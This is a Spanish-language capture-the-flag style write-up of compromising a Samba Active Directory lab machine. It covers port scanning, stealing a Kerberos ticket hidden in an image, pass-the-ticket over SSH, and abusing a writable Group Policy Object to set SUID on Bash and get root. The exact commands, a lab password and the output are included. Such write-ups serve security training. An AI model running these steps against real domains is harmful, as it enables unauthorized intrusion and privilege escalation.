Enumeración del dominio
Enumeramos puertos: es un Domain Controller (Active Directory sobre Samba, dominio warfare.local):
❯ nmap -sCV -p 22,53,80,88,135,139,389,445,464,636,3268,3269,... -oN 02-targeted.txt 10.212.91.55
...
22/tcp open ssh OpenSSH 10.0p2 Debian 7
80/tcp open http WEBrick httpd 1.8.2 (Ruby 3.3.8)
88/tcp open kerberos-sec
389/tcp open ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=WARFAREDC.warfare.local/organizationName=Samba Administration
...Acceso inicial mediante Pass-the-Ticket
Descargamos logo.png desde la web y extraemos con steg-png los datos ocultos en la imagen:
❯ ~/bin/steg-png extract logo.png
❯ strings logo.png.out
WARFARE.LOCAL
robert
...
"krbtgt/WARFARE.LOCAL@WARFARE.LOCAL
...La referencia a krbtgt/WARFARE.LOCAL identifica un Ticket Granting Ticket dentro de una credential cache de Kerberos. Asignamos el archivo a KRB5CCNAME para que las herramientas de Kerberos lo utilicen y comprobamos con klist que su principal es robert@WARFARE.LOCAL y que el ticket está vigente:
❯ export KRB5CCNAME=logo.png.out
❯ klist -e -a
Ticket cache: FILE:logo.png.out
Default principal: robert@WARFARE.LOCAL
Valid starting Expires Service principal
07/10/25 19:52:04 08/10/25 05:52:04 krbtgt/WARFARE.LOCAL@WARFARE.LOCAL
...Añadimos el nombre del controlador de dominio a /etc/hosts, porque Kerberos depende de nombres coherentes con el principal del servicio. Después realizamos Pass-the-Ticket mediante GSSAPI: ssh -K presenta la credencial ya cargada en lugar de solicitar la contraseña de robert:
❯ ssh -K robert@warfaredc.warfare.local
...
WARFARE\robert@warfaredc:~$Escalada mediante Group Policy Object Abuse
Tras obtener la primera flag, usamos pyGPOAbuse contra una GPO modificable por la cuenta comprometida. El Group Policy Object Abuse añade un script de arranque Linux a la política. Cuando el controlador procesa esa GPO, ejecuta el script como root y añade SUID a Bash:
❯ cat pwned.sh
#!/bin/bash
chmod u+s /bin/bash
❯ python3 pygpoabuse.py 'warfare.local/robert':'.:.crossroadSBlues!' -dc-ip 10.212.91.55 -gpo-id '6BB6659D-BFAD-44B1-8B36-066C35CE2931' --linux-exec ../pwned.sh
[+] SUCCESS:root:executable 'pwned.sh' created in ...\Scripts\StartupLa política no se aplica de forma instantánea. Después del intervalo registrado, el bit SUID de Bash confirma que el script fue procesado con privilegios:
WARFARE\robert@warfaredc:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1298416 Jul 30 15:28 /bin/bash
WARFARE\robert@warfaredc:/tmp$ bash -p
bash-5.2# whoami
rootbash -p conserva el UID efectivo y whoami confirma root.
Fin.